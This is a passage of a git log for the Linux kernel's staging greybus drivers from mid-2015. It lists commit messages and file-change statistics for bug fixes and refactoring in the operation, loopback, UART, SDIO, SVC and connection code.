++++++++++----------- 1 file changed, 10 insertions(+), 11 deletions(-) commit db1481ba7f36c2f5f74d19918bdf315a1ef8226b Author: Johan Hovold Date: Tue Jul 14 15:43:27 2015 +0200 greybus: operation: complete operations on cancellation Make sure to call the operation completion callback also when the operation is being cancelled. The completion callback may need to release resources allocated at submission and the driver should be informed that the operation has failed due to cancellation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit fd7134a3cd0a1b3f91e66922534a796145c85eef Author: Johan Hovold Date: Tue Jul 14 15:43:26 2015 +0200 greybus: operation: make cancellation synchronous Make sure to wait for the operation to become inactive before returning after having cancelled an operation. This makes sure that any ongoing operation completion callbacks have finished. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 1 - drivers/staging/greybus/operation.c | 24 ++++++++++++++++++++++-- drivers/staging/greybus/operation.h | 1 + 3 files changed, 23 insertions(+), 3 deletions(-) commit 3eeac7e37ce9856e53693772dfe81a79b57b5a00 Author: Johan Hovold Date: Tue Jul 14 15:43:25 2015 +0200 greybus: operation: add active counter Add active counter to track operations that are in use. Note that the active count is always less than the reference count. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 28 ++++++++++++++++++++++++++-- drivers/staging/greybus/operation.h | 2 ++ 2 files changed, 28 insertions(+), 2 deletions(-) commit 9a586bd2bb80a268345cc8ccfa702413359ece06 Author: Johan Hovold Date: Tue Jul 14 15:43:24 2015 +0200 greybus: operation: clean up create-incoming error path Clean up gb_operation_create_incoming error path by returning immediately on allocation failures. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit fffc151381473384629d78cb89b7f7bbb9dc53b0 Author: Johan Hovold Date: Tue Jul 14 15:43:23 2015 +0200 greybus: operation: fix another cancellation use-after-free An incoming operation could already be scheduled even if gb_operation_result_set succeeds as its initial status is -EINPROGRESS. Avoid potential use-after-free by never dropping the reference count for incoming operations as part of cancellation. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) commit a5192032a2a9475c837c2b4b6fc3df02d617c7b0 Author: Bryan O'Donoghue Date: Tue Jul 14 02:10:18 2015 +0100 greybus: uart: fix typo in defintion Fixing needless redefinition of operation types in gbsim reveals this typo GB_UART_TYPE_SET_BREAK -> GB_UART_TYPE_SEND_BREAK. This patch should be applied in lock-step to the patch to gbsim 'gbsim/uart: remove unnecessary redefinition of operation types' since gbsim does not contain the typo. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- drivers/staging/greybus/uart.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit e51eafebf83b236d4d43ed13b809c504e2d38d54 Author: Bryan O'Donoghue Date: Tue Jul 14 00:53:13 2015 +0100 greybus: loopback: fix 64bit printf format error Last patchset missed compilation on 64 bit contained warning. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 52af141b8224e428ee135bbeb508646b40d03fb5 Author: Bryan O'Donoghue Date: Tue Jul 14 00:53:12 2015 +0100 greybus: loopback: fix broken tabs in greybus_protocols.h Copy/paste of code from one file to another missed inappropriate use of tab after define. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit f7908e4d6def2cbeb16af29abceb1c6944d91f0c Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:51 2015 +0100 greybus: loopback: update throughput metrics to improve granularity Throughput capture should account for the entire size of the data going out on the wire. In addition throughput should be captured for each supported loopback operation. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) commit c3bba87a7ab57e636a8c96ddd36fdedfefe4848c Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:50 2015 +0100 greybus: loopback: truncate maximum loop data to link size Get maximum payload by way of gb_operation_get_payload_size_max() and truncate any requested loopback size greater than this value. RX of data from firmware over the specified size will not be accepted. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 23 ++++++++++++++++++++--- 1 file changed, 20 insertions(+), 3 deletions(-) commit 384a7a3c4f8bf96a6b2e0bddafec41f929b50958 Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:49 2015 +0100 greybus: loopback: add sink to loopback protocol Loopback sink command will operate as an amalgam of the ping and tranfer operations. Sink will send an ACK'd variable size operation over greybus. Unlike the transfer type which transmits the received data back, the sink type will simply ACK without sending the received data back. This patch adds the kernel side of the sink command. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/loopback.c | 29 +++++++++++++++++++++++++++++ 2 files changed, 30 insertions(+) commit a598f4384d9e95532781adc316793983ed27139d Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:48 2015 +0100 greybus: loopback: make loopback type input equivalent to protocol type Sepcifying loopback operation type with a type value that is internal to the loopback driver is non-intunitive and requires reading code to understand. Remove confusing duplicate definitions and update code to accept the greybus-specification function identity defintiions as the appropriate type values for initiating loopback operations. See greybus-spec section 10.16.1 'Greybus Loopback Message Types' for a full list of valid messages to set this type field to. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) commit 74a240a029fd0fa692bd857f15ceb6eda4897c5d Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:47 2015 +0100 greybus: loopback: remove spurious pr_err in sysfs store Dangling debug code removed. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 1 - 1 file changed, 1 deletion(-) commit a0ee3d3ea6c1b8d731ca68c78db53035862ab3ae Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:46 2015 +0100 greybus: loopback: remove magic number in state-machine Magic number 2 used instead of define GB_LOOPBACK_TYPE_PING, remove and and use the define instead. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f9f971a2e5b5094cf12480976fb1765376414eac Author: Bryan O'Donoghue Date: Mon Jul 13 20:20:45 2015 +0100 greybus: loopback: Move loopback operation definitions In order to have one point of type definition for gbsim move the loopback operation definitions to greybus_protocols.h. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 21 +++++++++++++++++++++ drivers/staging/greybus/loopback.c | 20 -------------------- 2 files changed, 21 insertions(+), 20 deletions(-) commit e99f305bb7cc3e22c508440d2a52e8c84c9b507a Author: Viresh Kumar Date: Thu Jul 9 10:56:30 2015 +0530 greybus: Cleanup connection leftovers This wouldn't happen normally, but in a buggy corner case it is possible that all the connections aren't removed properly and they are still present after the interfaces and endo are removed. Warn in such a case and cleanup connections, so that /sys/bus/greybus/ can be removed while removing greybus modules. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 10 ++++++++++ drivers/staging/greybus/connection.h | 1 + drivers/staging/greybus/core.c | 7 +++++++ 3 files changed, 18 insertions(+) commit e4340b13fd2cf9bcf1f0a40ae15de454ffdb74f8 Author: Johan Hovold Date: Thu Jul 9 15:18:01 2015 +0200 greybus: operation: fix incoming-response corruption Make sure not to update the response message buffer for an operation that is already scheduled for completion. Currently if we get two incoming responses with the same id, the second one would overwrite the response message buffer. Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 048a7ffe274280c27fc572ba3ec7150eba6efc40 Author: Johan Hovold Date: Thu Jul 9 15:18:00 2015 +0200 greybus: operation: fix outgoing-response corruption Fix potential corruption of outgoing responses by verifying that the operations is indeed outgoing when receiving a response. Failure to do so could lead to an incoming response corrupting an outgoing response that uses the same operation id. Reported-by: Viresh Kumar Reviewed-by: Viresh Kumar Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 0581f28efb86d8eb7e7f6baf712578477f7c868e Author: Johan Hovold Date: Thu Jul 9 15:17:59 2015 +0200 greybus: operation: fix use-after-free in response receive path Fix potential use-after-free in response receive path, due to lack of reference counting when looking up operations on a connection. Make sure to acquire a reference to the operation while holding the connection-list lock. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 85109f7ddde4b1842bfb08741a8b461e31ef2c4f Author: Johan Hovold Date: Thu Jul 9 15:17:58 2015 +0200 greybus: operation: fix operation-destroy race Make sure to acquire the connection-list lock atomically when releasing the final reference. This allows the list to be traversed and references to be acquired (while holding the lock) without racing with the destructor. Suggested-by: Greg Kroah-Hartman Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 5c1ac6945526c76258869c8c04632ab5ae61bdab Author: Greg Kroah-Hartman Date: Wed Jul 8 10:44:09 2015 -0700 greybus: properly cleanup ida and idr structures when shutting down idr and ida structures have internal memory allocated that needs to be freed when modules are removed. So call the proper idr_destroy() or ida_destroy() functions on the module exit path to free the memory. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Alex Elder drivers/staging/greybus/raw.c | 1 + drivers/staging/greybus/uart.c | 1 + drivers/staging/greybus/vibrator.c | 1 + 3 files changed, 3 insertions(+) commit 6ceb8fdeaec665642de944ee47d11440e72a5e26 Author: Viresh Kumar Date: Fri Jul 3 17:00:30 2015 +0530 greybus: svc: save pointer to struct gb_svc in struct gb_interface Its another special protocol (just like control protocol) and is required to be accessed from other files, lets save a pointer to it in interface structure. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 13 ++++++------- drivers/staging/greybus/svc.h | 7 ++++++- 3 files changed, 13 insertions(+), 8 deletions(-) commit ab69c4cea3b4ddf6bce4db810db37a3911b08e15 Author: Viresh Kumar Date: Fri Jul 3 17:00:29 2015 +0530 greybus: svc: SVC is part of greybus core Its an essential part of greybus core and shouldn't be present as a separate module. Make it part of greybus.ko module. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 3 +-- drivers/staging/greybus/core.c | 9 +++++++++ drivers/staging/greybus/svc.c | 3 +-- drivers/staging/greybus/svc.h | 2 ++ 4 files changed, 13 insertions(+), 4 deletions(-) commit 87c016ee908b8727f8d812bf3a36844be20d3410 Author: Viresh Kumar Date: Fri Jul 3 17:00:27 2015 +0530 greybus: connection: Use connection->dev for printing messages We failed to bind a protocol for the connection, not for bundle. And so connection's 'dev' must be used for printing message. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b950dc28bd47949fed64afa28c01c90be5dca43b Author: Viresh Kumar Date: Fri Jul 3 17:00:26 2015 +0530 greybus: interface: Fix comment mistake (s/add/init) Function's name is gb_interface_init(), not gb_interface_add(). Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6fa1adbcdd28f27b639954e5bb202a2de281679a Author: Viresh Kumar Date: Fri Jul 3 17:00:25 2015 +0530 greybus: connection: Exit connection before destroying it gb_connection_create() can initialize a connection if bundle->device id is valid. And so the connection must be destroyed by calling gb_connection_exit() before gb_connection_destroy(). This wasn't done in the code that is parsing the manifest. Fix it. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 1 + 1 file changed, 1 insertion(+) commit 9ddf133371fd87ddf543e8b26389ca26f2d9fc3c Author: Rui Miguel Silva Date: Thu Jul 2 19:11:37 2015 +0100 greybus: sdio: fix transfer buffer handling and blocks counting Fix copy to/from scatterlist destination buffer offset, fix calculation of blocks to be transfer and make a more verbose out of error when the blocks receive/send do not match. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 25 ++++++++++++++++--------- 1 file changed, 16 insertions(+), 9 deletions(-) commit f85451d8f58cd6df8643838b249016449f4d6218 Author: Rui Miguel Silva Date: Thu Jul 2 19:11:36 2015 +0100 greybus: sdio: add need poll to host caps As we do not have, yet, a event callback to notify core about changes we add the MMC_CAP_NEEDS_POLL capability to the rest of the caps received from the module. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 73f4a5217968d51d9685732512d268c71b78a347 Author: Rui Miguel Silva Date: Thu Jul 2 19:11:35 2015 +0100 greybus: sdio: check number of blocks in transfer Before initiating a transfers, check if the command (for single block) match the number of blocks in the request. While at it, fix also a missing break. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 882edf59fcfa400547bdb509e67f2266471f838d Author: Rui Miguel Silva Date: Thu Jul 2 19:11:34 2015 +0100 greybus: sdio: pass only data pointer to tranfer funtion No need to pass the all request to the transfer related funtctions. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 7a5cd5aea29a6fa0d99fb3b667b96b8d5f4e596c Author: Rui Miguel Silva Date: Thu Jul 2 19:11:33 2015 +0100 greybus: sdio: fix call to stop command if no data exist If data is not available the stop command could dereference NULL. Fetch the stop command directly from the request instead. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 08ccc9be680debdeb9eb2dcaa83c5fc7cd71f487 Author: Rui Miguel Silva Date: Thu Jul 2 19:11:32 2015 +0100 greybus: sdio: fix return of get_cd and get_ro Functions were returning the wrong flag for the expected value. Swap them. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c36d31cbc57635f7e66176d84d7b8688796a01d3 Author: Rui Miguel Silva Date: Thu Jul 2 19:11:31 2015 +0100 greybus: sdio: rework of event handler Between the time connection with module is up and the host is added, we can receive events (card inserted/removed, write protection switch), so until the setup is complete we queue the events received and handle them after. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 86 +++++++++++++++++++++++++++--------------- 1 file changed, 55 insertions(+), 31 deletions(-) commit ef0cc0ec8d80a18c83aec41321ebeba639cfa09a Author: Rui Miguel Silva Date: Thu Jul 2 19:11:30 2015 +0100 greybus: sdio: split cmd_flags to there meaning Instead of using values in the command cmd_flags field use the real flags in a bit mask. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 9 +++++---- drivers/staging/greybus/sdio.c | 8 ++++++++ 2 files changed, 13 insertions(+), 4 deletions(-) commit df22363d2ada5ef4708310208ff10649adb0b08d Author: Greg Kroah-Hartman Date: Sun Jul 5 18:11:21 2015 -0700 greybus: Revert "examples: add manifest file for sdio" This reverts commit 22690d72ae145cf12ae3df033670ed8ad7ecdde7. It was meant for the gbsim repo, not this one :( Signed-off-by: Greg Kroah-Hartman .../greybus/examples/IID1-simple-sdio-module.mnfs | 53 ---------------------- 1 file changed, 53 deletions(-) commit 513926501dc0d43ce78fd72d00acc9be7fa8c405 Author: Rui Miguel Silva Date: Thu Jul 2 19:32:05 2015 +0100 greybus: examples: add manifest file for sdio Add example manifest file for sdio. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman .../greybus/examples/IID1-simple-sdio-module.mnfs | 53 ++++++++++++++++++++++ 1 file changed, 53 insertions(+) commit 3a97cddfe82b9e668d6fc7cd2e6ce7540ec06554 Author: Perry Hung Date: Fri Jul 3 00:27:12 2015 -0400 greybus: makefile: fix unused cflags The ccflags variable was spelled wrong, so no extra compilation flags could be specified. The proper flag is 'ccflags-y.' Signed-off-by: Perry Hung Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 188f9785cfc5b1dc306ef1ca36e4c8dd203ccf56 Author: Johan Hovold Date: Wed Jul 1 12:37:31 2015 +0200 greybus: operation: fix cancellation of responses An operation with a response in-flight will already have set the operation result and would therefore never be cancelled by the current implementation. Note that the reference taken when sending the result will be dropped in the message completion callback. Also note that an incoming, non-unidirectional messages will always have an allocated response if its result has been set. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit fde7382b47c5fbb64be81420d267f1e314cfee94 Author: Johan Hovold Date: Wed Jul 1 12:37:30 2015 +0200 greybus: operation: allocate response before setting result Make sure to allocate a response message before setting the operation result. This is needed to handle cancellation of incoming operations. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 1635304d6384e258d197ca1bc5f2f6418eae28e2 Author: Johan Hovold Date: Wed Jul 1 12:37:29 2015 +0200 greybus: operation: drop redundant oom message Drop redundant OOM message, which would already have been logged by the memory subsystem. Also remove a FIXME about possibly sending a pre-allocated response, which is neither possible or desirable. If we ever run out of memory we have bigger problems then getting a response back to firmware. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 2593261d5ca39b0f1afe926ffab907daeb246086 Author: Johan Hovold Date: Wed Jul 1 12:37:28 2015 +0200 greybus: operation: remove obsolete operation-field comments Remove obsolete operation-field comments. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e3398811c3c3b90501ca67c5de683953efe6cdde Author: Johan Hovold Date: Wed Jul 1 12:37:27 2015 +0200 greybus: operation: add unidirectional-operation flag Add flag to identify unidirectional operations. Use convenience helper rather than open coding the identification when suppressing response messages. Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 5 ++++- drivers/staging/greybus/operation.h | 7 +++++++ 2 files changed, 11 insertions(+), 1 deletion(-) commit 710067e2ef42473c823fc8176ca9536b1a42c491 Author: Johan Hovold Date: Wed Jul 1 12:37:26 2015 +0200 greybus: operation: add incoming-operation flag Add flag field to struct gb_operation, and a first flag GB_OPERATION_FLAG_INCOMING to identify incoming operations. Pass an initial set of flags when allocating new operations, and use these to identify incoming operations rather than overloading the meaning of GB_OPERATION_TYPE_INVALID. This also allows us to set the type for all operations during allocation. Also add convenience helper to identify incoming operations. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 17 +++++++++-------- drivers/staging/greybus/operation.h | 11 ++++++++++- 2 files changed, 19 insertions(+), 9 deletions(-) commit 73f9d73f124ccba16403971b5101d4a947161481 Author: Johan Hovold Date: Wed Jul 1 12:37:25 2015 +0200 greybus: operation: fix cancellation use-after-free The final reference of an operation will be put after its completion handler has run, so we must not drop the reference if it has already been scheduled to avoid use-after-free. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit abb722e79a07b0a438a3782fd3f7d8c85f541d5f Author: Johan Hovold Date: Wed Jul 1 12:37:24 2015 +0200 greybus: operation: make response helper static Since commit 46ce118a2678 ("operation: refactor response handling") sending operation responses is handled by greybus core so there is currently no need to export the response helper. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 7 +++++-- drivers/staging/greybus/operation.h | 1 - 2 files changed, 5 insertions(+), 3 deletions(-) commit a52c4352aef85538d194a9714fe742b18e6fb80f Author: Johan Hovold Date: Wed Jul 1 12:37:23 2015 +0200 greybus: operation: allow atomic request submissions Add gfp mask argument to gb_operation_request_send in order to allow submissions from atomic context. Note that responses are currently always sent from non-atomic context as incoming requests are processed in a work queue. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/operation.c | 12 +++++++----- drivers/staging/greybus/operation.h | 3 ++- 2 files changed, 9 insertions(+), 6 deletions(-) commit e420721b47ef5b0d521584d4efc89ff64bd0cd74 Author: Johan Hovold Date: Wed Jul 1 12:37:22 2015 +0200 greybus: operation: allow atomic operation allocations Add gfp mask argument to gb_operation_create to allow operations to be allocated in atomic context. Signed-off-by: Johan Hovold Reviewed-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/hid.c | 3 ++- drivers/staging/greybus/i2c.c | 2 +- drivers/staging/greybus/operation.c | 23 ++++++++--------------- drivers/staging/greybus/operation.h | 3 ++- drivers/staging/greybus/spi.c | 2 +- drivers/staging/greybus/usb.c | 3 ++- 6 files changed, 16 insertions(+), 20 deletions(-) commit 3e136cc9e05e1a34d8602a4d4e31c9d93ccbbdf7 Author: Johan Hovold Date: Wed Jul 1 12:37:21 2015 +0200 greybus: operation/esx: fix message-cancellation lifetime bugs The current host-controller message-cancellation implementation suffer from a lifetime bug as dynamically allocated URBs would complete and be deallocated while being unlinked as part of cancellation. The current locking is also insufficient to prevent the related race where the URB is deallocated before being unlinked. Fix this by pushing the cancellation implementation from greybus core down to the host-controller drivers, and replace the "cookie" pointer with a hcpriv field that those drivers can use to maintain their state with the required locking and reference counting in place. Specifically the drivers need to acquire a reference to the URB under a lock before calling usb_kill_urb as part of cancellation. Note that this also removes the insufficient gb_message_mutex, which also effectively prevented us from implementing support for submissions from atomic context. Instead the host-controller drivers must now explicitly make sure that the pre-allocated URBs are not reused while cancellation is in progress. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 81 +++++++++++++++++++++++++++---------- drivers/staging/greybus/es2.c | 81 +++++++++++++++++++++++++++---------- drivers/staging/greybus/greybus.h | 4 +- drivers/staging/greybus/operation.c | 27 ++----------- drivers/staging/greybus/operation.h | 9 +++-- 5 files changed, 130 insertions(+), 72 deletions(-) commit 5677d48b9735ca43f546d8e21dd36a993b770090 Author: Viresh Kumar Date: Wed Jul 1 12:13:59 2015 +0530 greybus: bundles: remove gb_bundle(s)_init() They aren't used anymore, remove them. This also gets rid of gb_bundle_connections_init(). Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 54 ---------------------------------------- drivers/staging/greybus/bundle.h | 2 -- 2 files changed, 56 deletions(-) commit c3add7883c70b625b99c37ca89e6ec8733037ce3 Author: Viresh Kumar Date: Wed Jul 1 12:13:58 2015 +0530 greybus: interface: device_id belongs to the interface While introducing bundles, the device_id also got moved to the bundle, whereas it identifies an interface block to the AP. Move it back to interface instead of bundle. Calls to gb_bundle(s)_init() are dropped as connections will be initialized while they are created now, as device_id will be valid. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 14 ++++++------ drivers/staging/greybus/bundle.c | 21 +++-------------- drivers/staging/greybus/bundle.h | 5 ++--- drivers/staging/greybus/connection.c | 10 ++++----- drivers/staging/greybus/interface.c | 26 ++++++++-------------- drivers/staging/greybus/interface.h | 1 + 6 files changed, 27 insertions(+), 50 deletions(-) commit 7e9017d482a2678ed32e7f60e6bfea10bab2dfa1 Author: Viresh Kumar Date: Wed Jul 1 12:13:57 2015 +0530 greybus: svc: Drop svc_set_route_send() The responsibility of this routine is to configure ARA switch to establish a connection between a cport on the AP and a cport on an interface. The SVC protocol is responsible for such requests and we already have connection_{create|destroy}_operation() to take care of this. Moreover, this request is not served by the firmware or gbsim today and they just print a debug message on this request. And so it is safe to drop svc_set_route_send() function and fix the required functionality of configuring the switch in svc protocol driver later. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 18 ------------------ drivers/staging/greybus/bundle.c | 6 ------ drivers/staging/greybus/greybus.h | 3 --- 3 files changed, 27 deletions(-) commit c3a1617099cb57da038297cfc40abedb1fe7a287 Author: Viresh Kumar Date: Wed Jul 1 12:13:56 2015 +0530 greybus: connection: intf_cport_id is local to an interface intf_cport_id is local to an interface and same intf_cport_id can be used for two separate interface blocks. For finding a connection for an interface, we are matching intf_cport_id of the connection with cport_id, passed as argument. This is wrong, as it can match for a connection on a different interface block. Fix it by also comparing interface block for which connection is requested. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit b758d68618ffda2f6c1c1d40f90350429e9f7092 Author: Viresh Kumar Date: Wed Jul 1 12:13:54 2015 +0530 greybus: connection: bind protocol after the connection is operational We may bind protocol with a connection from gb_connection_create(), if bundle's device_id is already set. That's not the case until now. But if the protocol is initialized with a call to protocol->connection_init() from this place, kernel will crash. This will happen because the connection isn't fully initialized yet, for example its operation list isn't initialized yet. And as soon as the protocol driver tries to send a request to the module from its connection_init() callback, we will add an operation to this uninitialized list. And it will crash while doing: prev->next = new; Try to bind the connection with a protocol only after the connection is ready for operations. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 463e8736a3a5038732f681a7f1e9f6975d25b3fd Author: Viresh Kumar Date: Wed Jul 1 12:13:53 2015 +0530 greybus: control: Use gb_builtin_protocol_driver() No need to write simple init/exit routines, use gb_builtin_protocol_driver(). Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) commit e18822e3d02c8f296fe42e0e8bda7e2e626a4714 Author: Viresh Kumar Date: Wed Jul 1 12:13:52 2015 +0530 greybus: Rename gb_gpbridge_protocol_driver() as gb_builtin_protocol_driver() This macro is also required by core protocols like control and svc, and hence the 'gpbridge' name doesn't fit anymore. Lets call this macro gb_builtin_protocol_driver(). Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/gpio.c | 2 +- drivers/staging/greybus/hid.c | 2 +- drivers/staging/greybus/i2c.c | 2 +- drivers/staging/greybus/protocol.h | 2 +- drivers/staging/greybus/pwm.c | 2 +- drivers/staging/greybus/sdio.c | 2 +- drivers/staging/greybus/spi.c | 2 +- drivers/staging/greybus/uart.c | 2 +- drivers/staging/greybus/usb.c | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) commit 06e305f1e377a6a4e658bd165e20af4c099fb76a Author: Viresh Kumar Date: Wed Jul 1 12:13:51 2015 +0530 greybus: svc: Use macro's for major/minor numbers We have already defined macro's for SVC's major/minor numbers, lets use them. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7eb8919b0f984b4b2e3764976383d4a98dbc82e2 Author: Viresh Kumar Date: Wed Jul 1 12:13:50 2015 +0530 greybus: svc: Fix doc-style comment Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit ba4b099ca8e30b064d06bf9fc3f1a2bbcb8e1818 Author: Bryan O'Donoghue Date: Mon Jun 29 18:09:15 2015 +0100 greybus: uart: Update UART to reflect field size changes The greybus UART protocol specification was updated to reduce the size of the control field in serial-state-request and line-state-request. This patch updates the kernel protocol driver to reflect the specification changes. Once applied gbsim changes will be also be updated automatically since gbsim depends on the header being modified directly. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ++-- drivers/staging/greybus/uart.c | 14 +++++++------- 2 files changed, 9 insertions(+), 9 deletions(-) commit 4c025cf4168fe679b8a56eed210349458a142d07 Author: Bryan O'Donoghue Date: Mon Jun 29 18:09:14 2015 +0100 greybus: uart: Add support for UART error signals After reviewing the UART specification for greybus break, parity, framing and over-run errors were 